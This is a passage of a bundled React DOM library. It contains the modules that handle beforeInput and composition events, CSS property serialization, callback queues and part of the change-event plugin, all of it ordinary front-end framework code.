ideographic\n// spaces, for instance (\\u3000) are not recorded correctly.\nvar useFallbackCompositionData = ExecutionEnvironment.canUseDOM && (!canUseCompositionEvent || documentMode && documentMode > 8 && documentMode <= 11);\n\n/**\n * Opera <= 12 includes TextEvent in window, but does not fire\n * text input events. Rely on keypress instead.\n */\nfunction isPresto() {\n  var opera = window.opera;\n  return typeof opera === 'object' && typeof opera.version === 'function' && parseInt(opera.version(), 10) <= 12;\n}\n\nvar SPACEBAR_CODE = 32;\nvar SPACEBAR_CHAR = String.fromCharCode(SPACEBAR_CODE);\n\nvar topLevelTypes = EventConstants.topLevelTypes;\n\n// Events and their corresponding property names.\nvar eventTypes = {\n  beforeInput: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onBeforeInput: null }),\n      captured: keyOf({ onBeforeInputCapture: null })\n    },\n    dependencies: [topLevelTypes.topCompositionEnd, topLevelTypes.topKeyPress, topLevelTypes.topTextInput, topLevelTypes.topPaste]\n  },\n  compositionEnd: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onCompositionEnd: null }),\n      captured: keyOf({ onCompositionEndCapture: null })\n    },\n    dependencies: [topLevelTypes.topBlur, topLevelTypes.topCompositionEnd, topLevelTypes.topKeyDown, topLevelTypes.topKeyPress, topLevelTypes.topKeyUp, topLevelTypes.topMouseDown]\n  },\n  compositionStart: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onCompositionStart: null }),\n      captured: keyOf({ onCompositionStartCapture: null })\n    },\n    dependencies: [topLevelTypes.topBlur, topLevelTypes.topCompositionStart, topLevelTypes.topKeyDown, topLevelTypes.topKeyPress, topLevelTypes.topKeyUp, topLevelTypes.topMouseDown]\n  },\n  compositionUpdate: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onCompositionUpdate: null }),\n      captured: keyOf({ onCompositionUpdateCapture: null })\n    },\n    dependencies: [topLevelTypes.topBlur, topLevelTypes.topCompositionUpdate, topLevelTypes.topKeyDown, topLevelTypes.topKeyPress, topLevelTypes.topKeyUp, topLevelTypes.topMouseDown]\n  }\n};\n\n// Track whether we've ever handled a keypress on the space key.\nvar hasSpaceKeypress = false;\n\n/**\n * Return whether a native keypress event is assumed to be a command.\n * This is required because Firefox fires `keypress` events for key commands\n * (cut, copy, select-all, etc.) even though no character is inserted.\n */\nfunction isKeypressCommand(nativeEvent) {\n  return (nativeEvent.ctrlKey || nativeEvent.altKey || nativeEvent.metaKey) &&\n  // ctrlKey && altKey is equivalent to AltGr, and is not a command.\n  !(nativeEvent.ctrlKey && nativeEvent.altKey);\n}\n\n/**\n * Translate native top level events into event types.\n *\n * @param {string} topLevelType\n * @return {object}\n */\nfunction getCompositionEventType(topLevelType) {\n  switch (topLevelType) {\n    case topLevelTypes.topCompositionStart:\n      return eventTypes.compositionStart;\n    case topLevelTypes.topCompositionEnd:\n      return eventTypes.compositionEnd;\n    case topLevelTypes.topCompositionUpdate:\n      return eventTypes.compositionUpdate;\n  }\n}\n\n/**\n * Does our fallback best-guess model think this event signifies that\n * composition has begun?\n *\n * @param {string} topLevelType\n * @param {object} nativeEvent\n * @return {boolean}\n */\nfunction isFallbackCompositionStart(topLevelType, nativeEvent) {\n  return topLevelType === topLevelTypes.topKeyDown && nativeEvent.keyCode === START_KEYCODE;\n}\n\n/**\n * Does our fallback mode think that this event is the end of composition?\n *\n * @param {string} topLevelType\n * @param {object} nativeEvent\n * @return {boolean}\n */\nfunction isFallbackCompositionEnd(topLevelType, nativeEvent) {\n  switch (topLevelType) {\n    case topLevelTypes.topKeyUp:\n      // Command keys insert or clear IME input.\n      return END_KEYCODES.indexOf(nativeEvent.keyCode) !== -1;\n    case topLevelTypes.topKeyDown:\n      // Expect IME keyCode on each keydown. If we get any other\n      // code we must have exited earlier.\n      return nativeEvent.keyCode !== START_KEYCODE;\n    case topLevelTypes.topKeyPress:\n    case topLevelTypes.topMouseDown:\n    case topLevelTypes.topBlur:\n      // Events are not possible without cancelling IME.\n      return true;\n    default:\n      return false;\n  }\n}\n\n/**\n * Google Input Tools provides composition data via a CustomEvent,\n * with the `data` property populated in the `detail` object. If this\n * is available on the event object, use it. If not, this is a plain\n * composition event and we have nothing special to extract.\n *\n * @param {object} nativeEvent\n * @return {?string}\n */\nfunction getDataFromCustomEvent(nativeEvent) {\n  var detail = nativeEvent.detail;\n  if (typeof detail === 'object' && 'data' in detail) {\n    return detail.data;\n  }\n  return null;\n}\n\n// Track the current IME composition fallback object, if any.\nvar currentComposition = null;\n\n/**\n * @return {?object} A SyntheticCompositionEvent.\n */\nfunction extractCompositionEvent(topLevelType, targetInst, nativeEvent, nativeEventTarget) {\n  var eventType;\n  var fallbackData;\n\n  if (canUseCompositionEvent) {\n    eventType = getCompositionEventType(topLevelType);\n  } else if (!currentComposition) {\n    if (isFallbackCompositionStart(topLevelType, nativeEvent)) {\n      eventType = eventTypes.compositionStart;\n    }\n  } else if (isFallbackCompositionEnd(topLevelType, nativeEvent)) {\n    eventType = eventTypes.compositionEnd;\n  }\n\n  if (!eventType) {\n    return null;\n  }\n\n  if (useFallbackCompositionData) {\n    // The current composition is stored statically and must not be\n    // overwritten while composition continues.\n    if (!currentComposition && eventType === eventTypes.compositionStart) {\n      currentComposition = FallbackCompositionState.getPooled(nativeEventTarget);\n    } else if (eventType === eventTypes.compositionEnd) {\n      if (currentComposition) {\n        fallbackData = currentComposition.getData();\n      }\n    }\n  }\n\n  var event = SyntheticCompositionEvent.getPooled(eventType, targetInst, nativeEvent, nativeEventTarget);\n\n  if (fallbackData) {\n    // Inject data generated from fallback path into the synthetic event.\n    // This matches the property of native CompositionEventInterface.\n    event.data = fallbackData;\n  } else {\n    var customData = getDataFromCustomEvent(nativeEvent);\n    if (customData !== null) {\n      event.data = customData;\n    }\n  }\n\n  EventPropagators.accumulateTwoPhaseDispatches(event);\n  return event;\n}\n\n/**\n * @param {string} topLevelType Record from `EventConstants`.\n * @param {object} nativeEvent Native browser event.\n * @return {?string} The string corresponding to this `beforeInput` event.\n */\nfunction getNativeBeforeInputChars(topLevelType, nativeEvent) {\n  switch (topLevelType) {\n    case topLevelTypes.topCompositionEnd:\n      return getDataFromCustomEvent(nativeEvent);\n    case topLevelTypes.topKeyPress:\n      /**\n       * If native `textInput` events are available, our goal is to make\n       * use of them. However, there is a special case: the spacebar key.\n       * In Webkit, preventing default on a spacebar `textInput` event\n       * cancels character insertion, but it *also* causes the browser\n       * to fall back to its default spacebar behavior of scrolling the\n       * page.\n       *\n       * Tracking at:\n       * https://code.google.com/p/chromium/issues/detail?id=355103\n       *\n       * To avoid this issue, use the keypress event as if no `textInput`\n       * event is available.\n       */\n      var which = nativeEvent.which;\n      if (which !== SPACEBAR_CODE) {\n        return null;\n      }\n\n      hasSpaceKeypress = true;\n      return SPACEBAR_CHAR;\n\n    case topLevelTypes.topTextInput:\n      // Record the characters to be added to the DOM.\n      var chars = nativeEvent.data;\n\n      // If it's a spacebar character, assume that we have already handled\n      // it at the keypress level and bail immediately. Android Chrome\n      // doesn't give us keycodes, so we need to blacklist it.\n      if (chars === SPACEBAR_CHAR && hasSpaceKeypress) {\n        return null;\n      }\n\n      return chars;\n\n    default:\n      // For other native event types, do nothing.\n      return null;\n  }\n}\n\n/**\n * For browsers that do not provide the `textInput` event, extract the\n * appropriate string to use for SyntheticInputEvent.\n *\n * @param {string} topLevelType Record from `EventConstants`.\n * @param {object} nativeEvent Native browser event.\n * @return {?string} The fallback string for this `beforeInput` event.\n */\nfunction getFallbackBeforeInputChars(topLevelType, nativeEvent) {\n  // If we are currently composing (IME) and using a fallback to do so,\n  // try to extract the composed characters from the fallback object.\n  if (currentComposition) {\n    if (topLevelType === topLevelTypes.topCompositionEnd || isFallbackCompositionEnd(topLevelType, nativeEvent)) {\n      var chars = currentComposition.getData();\n      FallbackCompositionState.release(currentComposition);\n      currentComposition = null;\n      return chars;\n    }\n    return null;\n  }\n\n  switch (topLevelType) {\n    case topLevelTypes.topPaste:\n      // If a paste event occurs after a keypress, throw out the input\n      // chars. Paste events should not lead to BeforeInput events.\n      return null;\n    case topLevelTypes.topKeyPress:\n      /**\n       * As of v27, Firefox may fire keypress events even when no character\n       * will be inserted. A few possibilities:\n       *\n       * - `which` is `0`. Arrow keys, Esc key, etc.\n       *\n       * - `which` is the pressed key code, but no char is available.\n       *   Ex: 'AltGr + d` in Polish. There is no modified character for\n       *   this key combination and no character is inserted into the\n       *   document, but FF fires the keypress for char code `100` anyway.\n       *   No `input` event will occur.\n       *\n       * - `which` is the pressed key code, but a command combination is\n       *   being used. Ex: `Cmd+C`. No character is inserted, and no\n       *   `input` event will occur.\n       */\n      if (nativeEvent.which && !isKeypressCommand(nativeEvent)) {\n        return String.fromCharCode(nativeEvent.which);\n      }\n      return null;\n    case topLevelTypes.topCompositionEnd:\n      return useFallbackCompositionData ? null : nativeEvent.data;\n    default:\n      return null;\n  }\n}\n\n/**\n * Extract a SyntheticInputEvent for `beforeInput`, based on either native\n * `textInput` or fallback behavior.\n *\n * @return {?object} A SyntheticInputEvent.\n */\nfunction extractBeforeInputEvent(topLevelType, targetInst, nativeEvent, nativeEventTarget) {\n  var chars;\n\n  if (canUseTextInputEvent) {\n    chars = getNativeBeforeInputChars(topLevelType, nativeEvent);\n  } else {\n    chars = getFallbackBeforeInputChars(topLevelType, nativeEvent);\n  }\n\n  // If no characters are being inserted, no BeforeInput event should\n  // be fired.\n  if (!chars) {\n    return null;\n  }\n\n  var event = SyntheticInputEvent.getPooled(eventTypes.beforeInput, targetInst, nativeEvent, nativeEventTarget);\n\n  event.data = chars;\n  EventPropagators.accumulateTwoPhaseDispatches(event);\n  return event;\n}\n\n/**\n * Create an `onBeforeInput` event to match\n * http://www.w3.org/TR/2013/WD-DOM-Level-3-Events-20131105/#events-inputevents.\n *\n * This event plugin is based on the native `textInput` event\n * available in Chrome, Safari, Opera, and IE. This event fires after\n * `onKeyPress` and `onCompositionEnd`, but before `onInput`.\n *\n * `beforeInput` is spec'd but not implemented in any browsers, and\n * the `input` event does not provide any useful information about what has\n * actually been added, contrary to the spec. Thus, `textInput` is the best\n * available event to identify the characters that have actually been inserted\n * into the target node.\n *\n * This plugin is also responsible for emitting `composition` events, thus\n * allowing us to share composition fallback code for both `beforeInput` and\n * `composition` event types.\n */\nvar BeforeInputEventPlugin = {\n\n  eventTypes: eventTypes,\n\n  extractEvents: function (topLevelType, targetInst, nativeEvent, nativeEventTarget) {\n    return [extractCompositionEvent(topLevelType, targetInst, nativeEvent, nativeEventTarget), extractBeforeInputEvent(topLevelType, targetInst, nativeEvent, nativeEventTarget)];\n  }\n};\n\nmodule.exports = BeforeInputEventPlugin;\n},{\"101\":101,\"105\":105,\"144\":144,\"16\":16,\"162\":162,\"20\":20,\"21\":21}],3:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule CSSProperty\n */\n\n'use strict';\n\n/**\n * CSS properties which accept numbers but are not in units of \"px\".\n */\n\nvar isUnitlessNumber = {\n  animationIterationCount: true,\n  borderImageOutset: true,\n  borderImageSlice: true,\n  borderImageWidth: true,\n  boxFlex: true,\n  boxFlexGroup: true,\n  boxOrdinalGroup: true,\n  columnCount: true,\n  flex: true,\n  flexGrow: true,\n  flexPositive: true,\n  flexShrink: true,\n  flexNegative: true,\n  flexOrder: true,\n  gridRow: true,\n  gridColumn: true,\n  fontWeight: true,\n  lineClamp: true,\n  lineHeight: true,\n  opacity: true,\n  order: true,\n  orphans: true,\n  tabSize: true,\n  widows: true,\n  zIndex: true,\n  zoom: true,\n\n  // SVG-related properties\n  fillOpacity: true,\n  floodOpacity: true,\n  stopOpacity: true,\n  strokeDasharray: true,\n  strokeDashoffset: true,\n  strokeMiterlimit: true,\n  strokeOpacity: true,\n  strokeWidth: true\n};\n\n/**\n * @param {string} prefix vendor-specific prefix, eg: Webkit\n * @param {string} key style name, eg: transitionDuration\n * @return {string} style name prefixed with `prefix`, properly camelCased, eg:\n * WebkitTransitionDuration\n */\nfunction prefixKey(prefix, key) {\n  return prefix + key.charAt(0).toUpperCase() + key.substring(1);\n}\n\n/**\n * Support style names that may come passed in prefixed by adding permutations\n * of vendor prefixes.\n */\nvar prefixes = ['Webkit', 'ms', 'Moz', 'O'];\n\n// Using Object.keys here, or else the vanilla for-in loop makes IE8 go into an\n// infinite loop, because it iterates over the newly added props too.\nObject.keys(isUnitlessNumber).forEach(function (prop) {\n  prefixes.forEach(function (prefix) {\n    isUnitlessNumber[prefixKey(prefix, prop)] = isUnitlessNumber[prop];\n  });\n});\n\n/**\n * Most style properties can be unset by doing .style[prop] = '' but IE8\n * doesn't like doing that with shorthand properties so for the properties that\n * IE8 breaks on, which are listed here, we instead unset each of the\n * individual properties. See http://bugs.jquery.com/ticket/12385.\n * The 4-value 'clock' properties like margin, padding, border-width seem to\n * behave without any problems. Curiously, list-style works too without any\n * special prodding.\n */\nvar shorthandPropertyExpansions = {\n  background: {\n    backgroundAttachment: true,\n    backgroundColor: true,\n    backgroundImage: true,\n    backgroundPositionX: true,\n    backgroundPositionY: true,\n    backgroundRepeat: true\n  },\n  backgroundPosition: {\n    backgroundPositionX: true,\n    backgroundPositionY: true\n  },\n  border: {\n    borderWidth: true,\n    borderStyle: true,\n    borderColor: true\n  },\n  borderBottom: {\n    borderBottomWidth: true,\n    borderBottomStyle: true,\n    borderBottomColor: true\n  },\n  borderLeft: {\n    borderLeftWidth: true,\n    borderLeftStyle: true,\n    borderLeftColor: true\n  },\n  borderRight: {\n    borderRightWidth: true,\n    borderRightStyle: true,\n    borderRightColor: true\n  },\n  borderTop: {\n    borderTopWidth: true,\n    borderTopStyle: true,\n    borderTopColor: true\n  },\n  font: {\n    fontStyle: true,\n    fontVariant: true,\n    fontWeight: true,\n    fontSize: true,\n    lineHeight: true,\n    fontFamily: true\n  },\n  outline: {\n    outlineWidth: true,\n    outlineStyle: true,\n    outlineColor: true\n  }\n};\n\nvar CSSProperty = {\n  isUnitlessNumber: isUnitlessNumber,\n  shorthandPropertyExpansions: shorthandPropertyExpansions\n};\n\nmodule.exports = CSSProperty;\n},{}],4:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule CSSPropertyOperations\n */\n\n'use strict';\n\nvar CSSProperty = _dereq_(3);\nvar ExecutionEnvironment = _dereq_(144);\nvar ReactPerf = _dereq_(82);\n\nvar camelizeStyleName = _dereq_(146);\nvar dangerousStyleValue = _dereq_(118);\nvar hyphenateStyleName = _dereq_(157);\nvar memoizeStringOnly = _dereq_(164);\nvar warning = _dereq_(168);\n\nvar processStyleName = memoizeStringOnly(function (styleName) {\n  return hyphenateStyleName(styleName);\n});\n\nvar hasShorthandPropertyBug = false;\nvar styleFloatAccessor = 'cssFloat';\nif (ExecutionEnvironment.canUseDOM) {\n  var tempStyle = document.createElement('div').style;\n  try {\n    // IE8 throws \"Invalid argument.\" if resetting shorthand style properties.\n    tempStyle.font = '';\n  } catch (e) {\n    hasShorthandPropertyBug = true;\n  }\n  // IE8 only supports accessing cssFloat (standard) as styleFloat\n  if (document.documentElement.style.cssFloat === undefined) {\n    styleFloatAccessor = 'styleFloat';\n  }\n}\n\nif (\"development\" !== 'production') {\n  // 'msTransform' is correct, but the other prefixes should be capitalized\n  var badVendoredStyleNamePattern = /^(?:webkit|moz|o)[A-Z]/;\n\n  // style values shouldn't contain a semicolon\n  var badStyleValueWithSemicolonPattern = /;\\s*$/;\n\n  var warnedStyleNames = {};\n  var warnedStyleValues = {};\n  var warnedForNaNValue = false;\n\n  var warnHyphenatedStyleName = function (name, owner) {\n    if (warnedStyleNames.hasOwnProperty(name) && warnedStyleNames[name]) {\n      return;\n    }\n\n    warnedStyleNames[name] = true;\n    \"development\" !== 'production' ? warning(false, 'Unsupported style property %s. Did you mean %s?%s', name, camelizeStyleName(name), checkRenderMessage(owner)) : void 0;\n  };\n\n  var warnBadVendoredStyleName = function (name, owner) {\n    if (warnedStyleNames.hasOwnProperty(name) && warnedStyleNames[name]) {\n      return;\n    }\n\n    warnedStyleNames[name] = true;\n    \"development\" !== 'production' ? warning(false, 'Unsupported vendor-prefixed style property %s. Did you mean %s?%s', name, name.charAt(0).toUpperCase() + name.slice(1), checkRenderMessage(owner)) : void 0;\n  };\n\n  var warnStyleValueWithSemicolon = function (name, value, owner) {\n    if (warnedStyleValues.hasOwnProperty(value) && warnedStyleValues[value]) {\n      return;\n    }\n\n    warnedStyleValues[value] = true;\n    \"development\" !== 'production' ? warning(false, 'Style property values shouldn\\'t contain a semicolon.%s ' + 'Try \"%s: %s\" instead.', checkRenderMessage(owner), name, value.replace(badStyleValueWithSemicolonPattern, '')) : void 0;\n  };\n\n  var warnStyleValueIsNaN = function (name, value, owner) {\n    if (warnedForNaNValue) {\n      return;\n    }\n\n    warnedForNaNValue = true;\n    \"development\" !== 'production' ? warning(false, '`NaN` is an invalid value for the `%s` css style property.%s', name, checkRenderMessage(owner)) : void 0;\n  };\n\n  var checkRenderMessage = function (owner) {\n    if (owner) {\n      var name = owner.getName();\n      if (name) {\n        return ' Check the render method of `' + name + '`.';\n      }\n    }\n    return '';\n  };\n\n  /**\n   * @param {string} name\n   * @param {*} value\n   * @param {ReactDOMComponent} component\n   */\n  var warnValidStyle = function (name, value, component) {\n    var owner;\n    if (component) {\n      owner = component._currentElement._owner;\n    }\n    if (name.indexOf('-') > -1) {\n      warnHyphenatedStyleName(name, owner);\n    } else if (badVendoredStyleNamePattern.test(name)) {\n      warnBadVendoredStyleName(name, owner);\n    } else if (badStyleValueWithSemicolonPattern.test(value)) {\n      warnStyleValueWithSemicolon(name, value, owner);\n    }\n\n    if (typeof value === 'number' && isNaN(value)) {\n      warnStyleValueIsNaN(name, value, owner);\n    }\n  };\n}\n\n/**\n * Operations for dealing with CSS properties.\n */\nvar CSSPropertyOperations = {\n\n  /**\n   * Serializes a mapping of style properties for use as inline styles:\n   *\n   *   > createMarkupForStyles({width: '200px', height: 0})\n   *   \"width:200px;height:0;\"\n   *\n   * Undefined values are ignored so that declarative programming is easier.\n   * The result should be HTML-escaped before insertion into the DOM.\n   *\n   * @param {object} styles\n   * @param {ReactDOMComponent} component\n   * @return {?string}\n   */\n  createMarkupForStyles: function (styles, component) {\n    var serialized = '';\n    for (var styleName in styles) {\n      if (!styles.hasOwnProperty(styleName)) {\n        continue;\n      }\n      var styleValue = styles[styleName];\n      if (\"development\" !== 'production') {\n        warnValidStyle(styleName, styleValue, component);\n      }\n      if (styleValue != null) {\n        serialized += processStyleName(styleName) + ':';\n        serialized += dangerousStyleValue(styleName, styleValue, component) + ';';\n      }\n    }\n    return serialized || null;\n  },\n\n  /**\n   * Sets the value for multiple styles on a node.  If a value is specified as\n   * '' (empty string), the corresponding style property will be unset.\n   *\n   * @param {DOMElement} node\n   * @param {object} styles\n   * @param {ReactDOMComponent} component\n   */\n  setValueForStyles: function (node, styles, component) {\n    var style = node.style;\n    for (var styleName in styles) {\n      if (!styles.hasOwnProperty(styleName)) {\n        continue;\n      }\n      if (\"development\" !== 'production') {\n        warnValidStyle(styleName, styles[styleName], component);\n      }\n      var styleValue = dangerousStyleValue(styleName, styles[styleName], component);\n      if (styleName === 'float' || styleName === 'cssFloat') {\n        styleName = styleFloatAccessor;\n      }\n      if (styleValue) {\n        style[styleName] = styleValue;\n      } else {\n        var expansion = hasShorthandPropertyBug && CSSProperty.shorthandPropertyExpansions[styleName];\n        if (expansion) {\n          // Shorthand property that IE8 won't like unsetting, so unset each\n          // component to placate it\n          for (var individualStyleName in expansion) {\n            style[individualStyleName] = '';\n          }\n        } else {\n          style[styleName] = '';\n        }\n      }\n    }\n  }\n\n};\n\nReactPerf.measureMethods(CSSPropertyOperations, 'CSSPropertyOperations', {\n  setValueForStyles: 'setValueForStyles'\n});\n\nmodule.exports = CSSPropertyOperations;\n},{\"118\":118,\"144\":144,\"146\":146,\"157\":157,\"164\":164,\"168\":168,\"3\":3,\"82\":82}],5:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule CallbackQueue\n */\n\n'use strict';\n\nvar _assign = _dereq_(169);\n\nvar PooledClass = _dereq_(25);\n\nvar invariant = _dereq_(158);\n\n/**\n * A specialized pseudo-event module to help keep track of components waiting to\n * be notified when their DOM representations are available for use.\n *\n * This implements `PooledClass`, so you should never need to instantiate this.\n * Instead, use `CallbackQueue.getPooled()`.\n *\n * @class ReactMountReady\n * @implements PooledClass\n * @internal\n */\nfunction CallbackQueue() {\n  this._callbacks = null;\n  this._contexts = null;\n}\n\n_assign(CallbackQueue.prototype, {\n\n  /**\n   * Enqueues a callback to be invoked when `notifyAll` is invoked.\n   *\n   * @param {function} callback Invoked when `notifyAll` is invoked.\n   * @param {?object} context Context to call `callback` with.\n   * @internal\n   */\n  enqueue: function (callback, context) {\n    this._callbacks = this._callbacks || [];\n    this._contexts = this._contexts || [];\n    this._callbacks.push(callback);\n    this._contexts.push(context);\n  },\n\n  /**\n   * Invokes all enqueued callbacks and clears the queue. This is invoked after\n   * the DOM representation of a component has been created or updated.\n   *\n   * @internal\n   */\n  notifyAll: function () {\n    var callbacks = this._callbacks;\n    var contexts = this._contexts;\n    if (callbacks) {\n      !(callbacks.length === contexts.length) ? \"development\" !== 'production' ? invariant(false, 'Mismatched list of contexts in callback queue') : invariant(false) : void 0;\n      this._callbacks = null;\n      this._contexts = null;\n      for (var i = 0; i < callbacks.length; i++) {\n        callbacks[i].call(contexts[i]);\n      }\n      callbacks.length = 0;\n      contexts.length = 0;\n    }\n  },\n\n  checkpoint: function () {\n    return this._callbacks ? this._callbacks.length : 0;\n  },\n\n  rollback: function (len) {\n    if (this._callbacks) {\n      this._callbacks.length = len;\n      this._contexts.length = len;\n    }\n  },\n\n  /**\n   * Resets the internal queue.\n   *\n   * @internal\n   */\n  reset: function () {\n    this._callbacks = null;\n    this._contexts = null;\n  },\n\n  /**\n   * `PooledClass` looks for this.\n   */\n  destructor: function () {\n    this.reset();\n  }\n\n});\n\nPooledClass.addPoolingTo(CallbackQueue);\n\nmodule.exports = CallbackQueue;\n},{\"158\":158,\"169\":169,\"25\":25}],6:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ChangeEventPlugin\n */\n\n'use strict';\n\nvar EventConstants = _dereq_(16);\nvar EventPluginHub = _dereq_(17);\nvar EventPropagators = _dereq_(20);\nvar ExecutionEnvironment = _dereq_(144);\nvar ReactDOMComponentTree = _dereq_(40);\nvar ReactUpdates = _dereq_(94);\nvar SyntheticEvent = _dereq_(103);\n\nvar getEventTarget = _dereq_(126);\nvar isEventSupported = _dereq_(133);\nvar isTextInputElement = _dereq_(134);\nvar keyOf = _dereq_(162);\n\nvar topLevelTypes = EventConstants.topLevelTypes;\n\nvar eventTypes = {\n  change: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onChange: null }),\n      captured: keyOf({ onChangeCapture: null })\n    },\n    dependencies: [topLevelTypes.topBlur, topLevelTypes.topChange, topLevelTypes.topClick, topLevelTypes.topFocus, topLevelTypes.topInput, topLevelTypes.topKeyDown, topLevelTypes.topKeyUp, topLevelTypes.topSelectionChange]\n  }\n};\n\n/**\n * For IE shims\n */\nvar activeElement = null;\nvar activeElementInst = null;\nvar activeElementValue = null;\nvar activeElementValueProp = null;\n\n/**\n * SECTION: handle `change` event\n */\nfunction shouldUseChangeEvent(elem) {\n  var nodeName = elem.nodeName && elem.nodeName.toLowerCase();\n  return nodeName === 'select' || nodeName === 'input' && elem.type === 'file';\n}\n\nvar doesChangeEventBubble = false;\nif (ExecutionEnvironment.canUseDOM) {\n  // See `handleChange` comment below\n  doesChangeEventBubble = isEventSupported('change') && (!('documentMode' in document) || document.documentMode > 8);\n}\n\nfunction manualDispatchChangeEvent(nativeEvent) {\n  var event = SyntheticEvent.getPooled(eventTypes.change, activeElementInst, nativeEvent, getEventTarget(nativeEvent));\n  EventPropagators.accumulateTwoPhaseDispatches(event);\n\n  // If change and propertychange bubbled, we'd just bind to it like all the\n  // other events and have it go through ReactBrowserEventEmitter. Since it\n  // doesn't, we manually listen for the events and so we have to enqueue and\n  // process the abstract event manually.\n  //\n  // Batching is necessary here in order to ensure that all event handlers run\n  // before the next rerender (including event handlers attached to ancestor\n  // elements instead of directly on the input). Without this, controlled\n  // components don't work properly in conjunction with event bubbling because\n  // the component is rerendered and the value reverted before all the event\n  // handlers can run. See https://github.com/facebook/react/issues/708.\n  ReactUpdates.batchedUpdates(runEventInBatch, event);\n}\n\nfunction runEventInBatch(event) {\n  EventPluginHub.enqueueEvents(event);\n  EventPluginHub.processEventQueue(false);\n}\n\nfunction startWatchingForChangeEventIE8(target, targetInst) {\n  activeElement = target;\n  activeElementInst = targetInst;\n  activeElement.attachEvent('onchange', manualDispatchChangeEvent);\n}\n\nfunction stopWatchingForChangeEventIE8() {\n  if (!activeElement) {\n    return;\n  }\n  activeElement.detachEvent('onchange', manualDispatchChangeEvent);\n  activeElement = null;\n  activeElementInst = null;\n}\n\nfunction getTargetInstForChangeEvent(topLevelType, targetInst) {\n  if (topLevelType === topLevelTypes.topChange) {\n    return targetInst;\n  }\n}\nfunction handleEventsForChangeEventIE8(topLevelType, target, targetInst) {\n  if (topLevelType === topLevelTypes.topFocus) {\n    // stopWatching() should be a noop here but we call it just in case we\n    // missed a blur event somehow.\n    stopWatchingForChangeEventIE8();\n    startWatchingForChangeEventIE8(target, targetInst);\n  } else if (topLevelType === topLevelTypes.topBlur) {\n    stopWatchingForChangeEventIE8();\n  }\n}\n\n/**\n * SECTION: handle `input` event\n */\nvar isInputEventSupported = false;\nif (ExecutionEnvironment.canUseDOM) {\n  // IE9 claims to support the input event but fails to trigger it when\n  // deleting text, so we ignore its input events.\n  // IE10+ fire input events to often, such when a placeholder\n  // changes or when an input with a placeholder is focused.\n  isInputEventSupported = isEventSupported('input') && (!('documentMode' in document) || document.documentMode > 11);\n}\n\n/**\n * (For IE <=11) Replacement getter/setter for the `value` property that gets\n * set on the active element.\n */\nvar newValueProp = {\n  get: function () {\n    return activeElementValueProp.get.call(this);\n  },\n  set: function (val) {\n    // Cast to a string so we can do equality checks.\n    activeElementValue = '' + val;\n    activeElementValueProp.set.call(this, val);\n  }\n};\n\n/**\n * (For IE <=11) Starts tracking propertychange events on the passed-in element\n * and override the value property so that we can distinguish user events from\n * value changes in JS.\n */\nfunction startWatchingForValueChange(target, targetInst) {\n  activeElement = target;\n  activeElementInst = targetInst;\n  activeElementValue = target.value;\n  activeElementValueProp = Object.getOwnPropertyDescriptor(target.constructor.prototype, 'value');\n\n  // Not guarded in a canDefineProperty check: IE8 supports defineProperty only\n  // on DOM elements\n  Object.defineProperty(activeElement, 'value', newValueProp);\n  if (activeElement.attachEvent) {\n    activeElement.attachEvent('onpropertychange', handlePropertyChange);\n  } else {\n    activeElement.addEventListener('propertychange', handlePropertyChange, false);\n  }\n}\n\n/**\n * (For IE <=11) Removes the event listeners from the currently-tracked element,\n * if any exists.\n */\nfunction stopWatchingForValueChange() {\n  if (!activeElement) {\n    return;\n  }\n\n  // delete restores the original property definition\n  delete activeElement.value;\n\n  if (activeElement.detachEvent) {\n    activeElement.detachEvent('onpropertychange', handlePropertyChange);\n  } else {\n    activeElement.removeEventListener('propertychange', handlePropertyChange, false);\n  }\n\n  activeElement = null;\n  activeElementInst = null;\n  activeElementValue = null;\n  activeElementValueProp = null;\n}\n\n/**\n * (For IE <=11) Handles a propertychange event, sending a `change` event if\n * the value of the active element has changed.\n */\nfunction handlePropertyChange(nativeEvent) {\n  if (nativeEvent.propertyName !== 'value') {\n    return;\n  }\n  var value = nativeEvent.srcElement.value;\n  if (value === activeElementValue) {\n    return;\n  }\n  activeElementValue = value;\n\n  manualDispatchChangeEvent(nativeEvent);\n}\n\n/**\n * If a `change` event should be fired, returns the target's ID.\n */\nfunction getTargetInstForInputEvent(topLevelType, targetInst) {\n  if (topLevelType === topLevelTypes.topInput) {\n    // In modern browsers (i.e., not IE8 or IE9), the input event is exactly\n    // what we want so fall through here and trigger an abstract event\n    return targetInst;\n  }\n}\n\nfunction handleEventsForInputEventIE(topLevelType, target, targetInst) {\n  if (topLevelType === topLevelTypes.topFocus) {\n    // In IE8, we can capture almost all .value changes by adding a\n    // propertychange handler and looking for events with propertyName\n    // equal to 'value'\n    // In IE9-11, propertychange fires for most input events but is buggy and\n    // doesn't fire when text is deleted, but conveniently, selectionchange\n    // appears to fire in all of the remaining cases so we catch those and\n    // forward the event if the value has changed\n    // In either case, we don't want to call the event handler if the value\n    // is changed from JS so we redefine a setter for `.value` that updates\n    // our activeElementValue variable, allowing us to ignore those changes\n    //\n    // stopWatching() should be a noop here but we call it just in case we\n    // missed a blur event somehow.\n    stopWatchingForValueChange();\n    startWatchingForValueChange(target, targetInst);\n  } else if (topLevelType === topLevelTypes.topBlur) {\n    stopWatchingForValueChange();\n  }\n}\n\n// For IE8 and IE9.\nfunction getTargetInstForInputEventIE(topLevelType, targetInst) {\n  if (topLevelType === 